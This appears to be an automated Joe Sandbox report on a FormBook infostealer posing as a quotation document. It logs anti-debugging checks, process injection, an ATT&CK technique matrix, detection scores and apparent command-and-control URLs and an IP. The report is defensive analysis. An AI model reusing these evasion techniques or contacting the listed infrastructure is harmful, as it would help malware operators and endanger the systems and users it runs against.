Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AA64B5 mov eax, dword ptr fs:[00000030h]	10_2_00AA64B5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AA64B5 mov eax, dword ptr fs:[00000030h]	10_2_00AA64B5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A11480 mov eax, dword ptr fs:[00000030h]	10_2_00A11480
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2849B mov eax, dword ptr fs:[00000030h]	10_2_00A2849B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1649B mov eax, dword ptr fs:[00000030h]	10_2_00A1649B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1649B mov eax, dword ptr fs:[00000030h]	10_2_00A1649B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496 mov eax, dword ptr fs:[00000030h]	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496 mov eax, dword ptr fs:[00000030h]	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496 mov eax, dword ptr fs:[00000030h]	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496 mov eax, dword ptr fs:[00000030h]	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496 mov eax, dword ptr fs:[00000030h]	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496 mov eax, dword ptr fs:[00000030h]	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496 mov eax, dword ptr fs:[00000030h]	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496 mov eax, dword ptr fs:[00000030h]	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496 mov eax, dword ptr fs:[00000030h]	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496 mov eax, dword ptr fs:[00000030h]	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496 mov eax, dword ptr fs:[00000030h]	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496 mov eax, dword ptr fs:[00000030h]	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496 mov eax, dword ptr fs:[00000030h]	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A484E0 mov eax, dword ptr fs:[00000030h]	10_2_00A484E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A484E0 mov eax, dword ptr fs:[00000030h]	10_2_00A484E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A484E0 mov eax, dword ptr fs:[00000030h]	10_2_00A484E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A484E0 mov eax, dword ptr fs:[00000030h]	10_2_00A484E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A484E0 mov eax, dword ptr fs:[00000030h]	10_2_00A484E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A484E0 mov eax, dword ptr fs:[00000030h]	10_2_00A484E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD14FB mov eax, dword ptr fs:[00000030h]	10_2_00AD14FB
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A96CF0 mov eax, dword ptr fs:[00000030h]	10_2_00A96CF0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A96CF0 mov eax, dword ptr fs:[00000030h]	10_2_00A96CF0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A96CF0 mov eax, dword ptr fs:[00000030h]	10_2_00A96CF0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4CCC0 mov eax, dword ptr fs:[00000030h]	10_2_00A4CCC0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4CCC0 mov eax, dword ptr fs:[00000030h]	10_2_00A4CCC0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4CCC0 mov eax, dword ptr fs:[00000030h]	10_2_00A4CCC0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4CCC0 mov eax, dword ptr fs:[00000030h]	10_2_00A4CCC0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE8CD6 mov eax, dword ptr fs:[00000030h]	10_2_00AE8CD6
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A12CDB mov eax, dword ptr fs:[00000030h]	10_2_00A12CDB
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4BC2C mov eax, dword ptr fs:[00000030h]	10_2_00A4BC2C
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2B433 mov eax, dword ptr fs:[00000030h]	10_2_00A2B433
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2B433 mov eax, dword ptr fs:[00000030h]	10_2_00A2B433
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2B433 mov eax, dword ptr fs:[00000030h]	10_2_00A2B433
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A32430 mov eax, dword ptr fs:[00000030h]	10_2_00A32430
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A32430 mov eax, dword ptr fs:[00000030h]	10_2_00A32430
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A14439 mov eax, dword ptr fs:[00000030h]	10_2_00A14439
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A43C3E mov eax, dword ptr fs:[00000030h]	10_2_00A43C3E
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A43C3E mov eax, dword ptr fs:[00000030h]	10_2_00A43C3E
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A43C3E mov eax, dword ptr fs:[00000030h]	10_2_00A43C3E
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE740D mov eax, dword ptr fs:[00000030h]	10_2_00AE740D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE740D mov eax, dword ptr fs:[00000030h]	10_2_00AE740D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE740D mov eax, dword ptr fs:[00000030h]	10_2_00AE740D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A96C0A mov eax, dword ptr fs:[00000030h]	10_2_00A96C0A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A96C0A mov eax, dword ptr fs:[00000030h]	10_2_00A96C0A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A96C0A mov eax, dword ptr fs:[00000030h]	10_2_00A96C0A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A96C0A mov eax, dword ptr fs:[00000030h]	10_2_00A96C0A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1C06 mov eax, dword ptr fs:[00000030h]	10_2_00AD1C06
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A18410 mov eax, dword ptr fs:[00000030h]	10_2_00A18410
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE8C14 mov eax, dword ptr fs:[00000030h]	10_2_00AE8C14
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A18466 mov eax, dword ptr fs:[00000030h]	10_2_00A18466
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A18466 mov eax, dword ptr fs:[00000030h]	10_2_00A18466
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3746D mov eax, dword ptr fs:[00000030h]	10_2_00A3746D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B477 mov eax, dword ptr fs:[00000030h]	10_2_00A3B477
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B477 mov eax, dword ptr fs:[00000030h]	10_2_00A3B477
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B477 mov eax, dword ptr fs:[00000030h]	10_2_00A3B477
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B477 mov eax, dword ptr fs:[00000030h]	10_2_00A3B477
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B477 mov eax, dword ptr fs:[00000030h]	10_2_00A3B477
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B477 mov eax, dword ptr fs:[00000030h]	10_2_00A3B477
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B477 mov eax, dword ptr fs:[00000030h]	10_2_00A3B477
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B477 mov eax, dword ptr fs:[00000030h]	10_2_00A3B477
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B477 mov eax, dword ptr fs:[00000030h]	10_2_00A3B477
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B477 mov eax, dword ptr fs:[00000030h]	10_2_00A3B477
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B477 mov eax, dword ptr fs:[00000030h]	10_2_00A3B477
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B477 mov eax, dword ptr fs:[00000030h]	10_2_00A3B477
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A55C70 mov eax, dword ptr fs:[00000030h]	10_2_00A55C70
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE8C75 mov eax, dword ptr fs:[00000030h]	10_2_00AE8C75
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4AC7B mov eax, dword ptr fs:[00000030h]	10_2_00A4AC7B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4AC7B mov eax, dword ptr fs:[00000030h]	10_2_00A4AC7B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4AC7B mov eax, dword ptr fs:[00000030h]	10_2_00A4AC7B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4AC7B mov eax, dword ptr fs:[00000030h]	10_2_00A4AC7B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4AC7B mov eax, dword ptr fs:[00000030h]	10_2_00A4AC7B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4AC7B mov eax, dword ptr fs:[00000030h]	10_2_00A4AC7B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4AC7B mov eax, dword ptr fs:[00000030h]	10_2_00A4AC7B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4AC7B mov eax, dword ptr fs:[00000030h]	10_2_00A4AC7B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4AC7B mov eax, dword ptr fs:[00000030h]	10_2_00A4AC7B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4AC7B mov eax, dword ptr fs:[00000030h]	10_2_00A4AC7B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4AC7B mov eax, dword ptr fs:[00000030h]	10_2_00A4AC7B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4A44B mov eax, dword ptr fs:[00000030h]	10_2_00A4A44B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A19450 mov eax, dword ptr fs:[00000030h]	10_2_00A19450
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AAC450 mov eax, dword ptr fs:[00000030h]	10_2_00AAC450
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AAC450 mov eax, dword ptr fs:[00000030h]	10_2_00AAC450
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE8450 mov eax, dword ptr fs:[00000030h]	10_2_00AE8450
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE05AC mov eax, dword ptr fs:[00000030h]	10_2_00AE05AC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE05AC mov eax, dword ptr fs:[00000030h]	10_2_00AE05AC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A465A0 mov eax, dword ptr fs:[00000030h]	10_2_00A465A0

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Code function: 10_2_004088C0 rdtsc

10_2_004088C0

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Code function: 10_2_00A59860 NtQuerySystemInformation,LdrInitializeThunk,

10_2_00A59860

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Memory written: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Process created: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection111	Masquerading1	OS Credential Dumping	Security Software Discovery12	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	Virtualization/Sandbox Evasion1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection111	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information3	LSA Secrets	System Information Discovery11	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Software Packing11	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	30%	Virustotal		Browse
Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	36%	ReversingLabs	Win32.Trojan.Woreflint

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File
10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
cutting-tools.in	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://cutting-tools.in/apibadboycpanelaunicationrelayserverconfigurapsyste/Uhubvlhwjlopolbbrwsjxlbmrbynkke	0%	Avira URL Cloud	safe
www.vayianoshellasestates.com/outr/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cutting-tools.in	162.215.240.160	true	false	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cutting-tools.in/apibadboycpanelaunicationrelayserverconfigurapsyste/Uhubvlhwjlopolbbrwsjxlbmrbynkke	false	Avira URL Cloud: safe	unknown
www.vayianoshellasestates.com/outr/	true	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.215.240.160	cutting-tools.in	United States		394695	PUBLIC-DOMAIN-REGISTRYUS	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	489487
Start date:	24.09.2021
Start time:	07:55:47
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Request_For_Quotation#234242_signed_copy_document_september_rfq.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal96.troj.evad.winEXE@3/1@1/1
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 28.8% (good quality ratio 26.4%) Quality average: 68.8% Quality standard deviation: 31.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 13 Number of non-executed functions: 252
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 20.82.210.154, 20.54.110.249, 40.112.88.60, 173.222.108.210, 173.222.108.226, 80.67.82.211, 80.67.82.235 Excluded domains from analysis (whitelisted): displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, wu-shim.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, ctldl.windowsupdate.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, a1449.dscg2.akamai.net, arc.msn.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Execution Graph export aborted for target Request_For_Quotation#234242_signed_copy_document_september_rfq.exe, PID 5928 because there are no executed function Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:56:38	API Interceptor	1x Sleep call for process: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
162.215.240.160	http://www.malwaeduskills.com/sites/US/New-Order-Upcoming/INV245869673909601	Get hash	malicious	Browse	www.malwaeduskills.com/sites/US/New-Order-Upcoming/INV245869673909601/
